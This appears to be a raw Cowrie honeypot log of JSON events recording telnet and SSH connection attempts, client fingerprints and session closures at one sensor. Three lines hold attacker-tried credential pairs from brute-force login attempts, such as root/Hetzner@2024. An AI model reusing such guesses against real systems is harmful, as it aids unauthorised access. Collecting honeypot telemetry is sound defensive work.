{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":35222,"dst_ip":"10.17.0.5","dst_port":23,"session":"76589ec7185b","protocol":"telnet","message":"New connection: 108.179.216.206:35222 (10.17.0.5:23) [session: 76589ec7185b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:00.742582Z"}
{"eventid":"cowrie.session.closed","duration":31.391865968704224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:01.615837Z","src_ip":"209.126.87.217","session":"14458cf88b17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":37706,"dst_ip":"10.17.0.5","dst_port":23,"session":"7427859d06d5","protocol":"telnet","message":"New connection: 108.179.216.206:37706 (10.17.0.5:23) [session: 7427859d06d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:02.230769Z"}
{"eventid":"cowrie.session.closed","duration":35.57270550727844,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:02.657544Z","src_ip":"209.126.87.217","session":"852365c3f7a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45865345001221,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:03.057156Z","src_ip":"209.126.87.217","session":"aaa927f3bacc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":39704,"dst_ip":"10.17.0.5","dst_port":23,"session":"033daa8152f6","protocol":"telnet","message":"New connection: 108.179.216.206:39704 (10.17.0.5:23) [session: 033daa8152f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:04.085531Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":40242,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aba918d3683","protocol":"telnet","message":"New connection: 108.179.216.206:40242 (10.17.0.5:23) [session: 3aba918d3683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:04.564256Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46248,"dst_ip":"159.203.135.109","dst_port":23,"session":"868cd371c49d","protocol":"telnet","message":"New connection: 209.126.87.217:46248 (159.203.135.109:23) [session: 868cd371c49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:05.194242Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":40284,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6ce1a055783","protocol":"telnet","message":"New connection: 108.179.216.206:40284 (10.17.0.5:23) [session: a6ce1a055783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:05.624931Z"}
{"eventid":"cowrie.session.closed","duration":33.37164759635925,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:06.197894Z","src_ip":"209.126.87.217","session":"a4ba8af41d24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46262,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac9ad4691db1","protocol":"telnet","message":"New connection: 209.126.87.217:46262 (159.203.135.109:23) [session: ac9ad4691db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:06.784326Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":42680,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd1be2ababce","protocol":"telnet","message":"New connection: 108.179.216.206:42680 (10.17.0.5:23) [session: dd1be2ababce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:07.032566Z"}
{"eventid":"cowrie.session.closed","duration":30.733500480651855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:07.039550Z","src_ip":"108.179.216.206","session":"7d1219b2a1de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":42756,"dst_ip":"10.17.0.5","dst_port":23,"session":"be253283e1d5","protocol":"telnet","message":"New connection: 108.179.216.206:42756 (10.17.0.5:23) [session: be253283e1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:07.120203Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":43124,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eae8b719771","protocol":"telnet","message":"New connection: 108.179.216.206:43124 (10.17.0.5:23) [session: 0eae8b719771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:07.453955Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":43614,"dst_ip":"10.17.0.5","dst_port":23,"session":"f175373e9f68","protocol":"telnet","message":"New connection: 108.179.216.206:43614 (10.17.0.5:23) [session: f175373e9f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:07.870948Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":44326,"dst_ip":"10.17.0.5","dst_port":23,"session":"a259bc478787","protocol":"telnet","message":"New connection: 108.179.216.206:44326 (10.17.0.5:23) [session: a259bc478787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:08.408310Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":43322,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9e19fa5a3ee","protocol":"telnet","message":"New connection: 108.179.216.206:43322 (10.17.0.5:23) [session: c9e19fa5a3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:08.680575Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.43.86.48","src_port":51526,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c46ef9e0490","protocol":"ssh","message":"New connection: 45.43.86.48:51526 (10.17.0.5:22) [session: 9c46ef9e0490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:08.847403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:08.853007Z","src_ip":"45.43.86.48","session":"9c46ef9e0490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:08.941562Z","src_ip":"45.43.86.48","session":"9c46ef9e0490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":45040,"dst_ip":"10.17.0.5","dst_port":23,"session":"23757e4dd790","protocol":"telnet","message":"New connection: 108.179.216.206:45040 (10.17.0.5:23) [session: 23757e4dd790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:09.235142Z"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"1234","message":"login attempt [ts3bot/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:09.298399Z","src_ip":"45.43.86.48","session":"9c46ef9e0490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":44238,"dst_ip":"10.17.0.5","dst_port":23,"session":"d29aa8a0e9fe","protocol":"telnet","message":"New connection: 108.179.216.206:44238 (10.17.0.5:23) [session: d29aa8a0e9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:09.381433Z"}
{"eventid":"cowrie.session.closed","duration":35.9219286441803,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:10.346650Z","src_ip":"209.126.87.217","session":"b512370006de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:10.380751Z","src_ip":"45.43.86.48","session":"9c46ef9e0490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":46080,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ccc9a2f5443","protocol":"telnet","message":"New connection: 108.179.216.206:46080 (10.17.0.5:23) [session: 0ccc9a2f5443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:11.262590Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":48324,"dst_ip":"10.17.0.5","dst_port":23,"session":"c32836fb15ac","protocol":"telnet","message":"New connection: 108.179.216.206:48324 (10.17.0.5:23) [session: c32836fb15ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:12.494427Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":33172,"dst_ip":"159.203.135.109","dst_port":22,"session":"83e270a1e052","protocol":"ssh","message":"New connection: 171.244.141.86:33172 (159.203.135.109:22) [session: 83e270a1e052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:12.606878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:12.612045Z","src_ip":"171.244.141.86","session":"83e270a1e052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":46352,"dst_ip":"159.203.135.109","dst_port":23,"session":"6837285c551a","protocol":"telnet","message":"New connection: 209.126.87.217:46352 (159.203.135.109:23) [session: 6837285c551a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:12.786584Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:12.860567Z","src_ip":"171.244.141.86","session":"83e270a1e052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":48886,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea1b007fa4fa","protocol":"telnet","message":"New connection: 108.179.216.206:48886 (10.17.0.5:23) [session: ea1b007fa4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:13.012501Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hetzner@2024","message":"login attempt [root/Hetzner@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:13.882172Z","src_ip":"171.244.141.86","session":"83e270a1e052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.272202491760254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:13.997827Z","src_ip":"209.126.87.217","session":"72ab1a404101","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":50168,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d28f9aed11b","protocol":"telnet","message":"New connection: 108.179.216.206:50168 (10.17.0.5:23) [session: 2d28f9aed11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:14.375998Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":50866,"dst_ip":"10.17.0.5","dst_port":23,"session":"1817101aacf5","protocol":"telnet","message":"New connection: 108.179.216.206:50866 (10.17.0.5:23) [session: 1817101aacf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:15.097461Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:15.135066Z","src_ip":"171.244.141.86","session":"83e270a1e052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51076,"dst_ip":"10.17.0.5","dst_port":23,"session":"c73f239f8df5","protocol":"telnet","message":"New connection: 108.179.216.206:51076 (10.17.0.5:23) [session: c73f239f8df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:15.400563Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":51074,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cac08c573ae","protocol":"telnet","message":"New connection: 108.179.216.206:51074 (10.17.0.5:23) [session: 1cac08c573ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:15.420118Z"}
{"eventid":"cowrie.session.closed","duration":31.10093355178833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:15.678729Z","src_ip":"209.126.87.217","session":"ff30a04f19bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39646577835083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:16.143150Z","src_ip":"108.179.216.206","session":"58918a548e37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836605548858643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:16.732599Z","src_ip":"108.179.216.206","session":"e7964531d955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":52214,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c20315febe2","protocol":"telnet","message":"New connection: 108.179.216.206:52214 (10.17.0.5:23) [session: 1c20315febe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:16.756374Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":53944,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb33b385adec","protocol":"telnet","message":"New connection: 108.179.216.206:53944 (10.17.0.5:23) [session: eb33b385adec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:18.342113Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":54624,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd42c4a0feaf","protocol":"telnet","message":"New connection: 108.179.216.206:54624 (10.17.0.5:23) [session: cd42c4a0feaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:19.143543Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":40156,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bc38f25b1bd","protocol":"ssh","message":"New connection: 80.94.92.182:40156 (10.17.0.5:22) [session: 8bc38f25b1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:19.161743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:19.227504Z","src_ip":"80.94.92.182","session":"8bc38f25b1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":53788,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf5d1fdb3f5f","protocol":"telnet","message":"New connection: 108.179.216.206:53788 (10.17.0.5:23) [session: cf5d1fdb3f5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:19.238551Z"}
{"eventid":"cowrie.session.closed","duration":30.924992322921753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:19.250166Z","src_ip":"108.179.216.206","session":"eed4edd1a3e6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:19.368508Z","src_ip":"80.94.92.182","session":"8bc38f25b1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55540,"dst_ip":"10.17.0.5","dst_port":23,"session":"77b4f525bd86","protocol":"telnet","message":"New connection: 108.179.216.206:55540 (10.17.0.5:23) [session: 77b4f525bd86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:19.915773Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":49732,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b2cdd07fda","protocol":"telnet","message":"New connection: 108.179.216.206:49732 (10.17.0.5:23) [session: 28b2cdd07fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:19.928638Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":55010,"dst_ip":"10.17.0.5","dst_port":23,"session":"42cd2f4e10a7","protocol":"telnet","message":"New connection: 108.179.216.206:55010 (10.17.0.5:23) [session: 42cd2f4e10a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:20.437865Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":56294,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0623661ee1a","protocol":"telnet","message":"New connection: 108.179.216.206:56294 (10.17.0.5:23) [session: a0623661ee1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:20.627094Z"}
{"eventid":"cowrie.login.failed","username":"sol","password":"321","message":"login attempt [sol/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:20.861718Z","src_ip":"80.94.92.182","session":"8bc38f25b1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":56906,"dst_ip":"10.17.0.5","dst_port":23,"session":"84eed000df3e","protocol":"telnet","message":"New connection: 108.179.216.206:56906 (10.17.0.5:23) [session: 84eed000df3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:21.244199Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":57110,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ca6550c247","protocol":"telnet","message":"New connection: 108.179.216.206:57110 (10.17.0.5:23) [session: 90ca6550c247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:21.383972Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":56064,"dst_ip":"10.17.0.5","dst_port":23,"session":"91325baa3065","protocol":"telnet","message":"New connection: 108.179.216.206:56064 (10.17.0.5:23) [session: 91325baa3065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:21.419966Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:22.191908Z","src_ip":"80.94.92.182","session":"8bc38f25b1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":57122,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2301f52b4c5","protocol":"telnet","message":"New connection: 108.179.216.206:57122 (10.17.0.5:23) [session: c2301f52b4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:22.396000Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":58722,"dst_ip":"10.17.0.5","dst_port":23,"session":"f00cb3140cb7","protocol":"telnet","message":"New connection: 108.179.216.206:58722 (10.17.0.5:23) [session: f00cb3140cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:23.047832Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":56976,"dst_ip":"159.203.135.109","dst_port":23,"session":"31d1a5d551ed","protocol":"telnet","message":"New connection: 209.126.87.217:56976 (159.203.135.109:23) [session: 31d1a5d551ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:23.153270Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.216.206","src_port":57924,"dst_ip":"10.17.0.5","dst_port":23,"session":"f79419c42927","protocol":"telnet","message":"New connection: 108.179.216.206:57924 (10.17.0.5:23) [session: f79419c42927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:05:23.216221Z"}
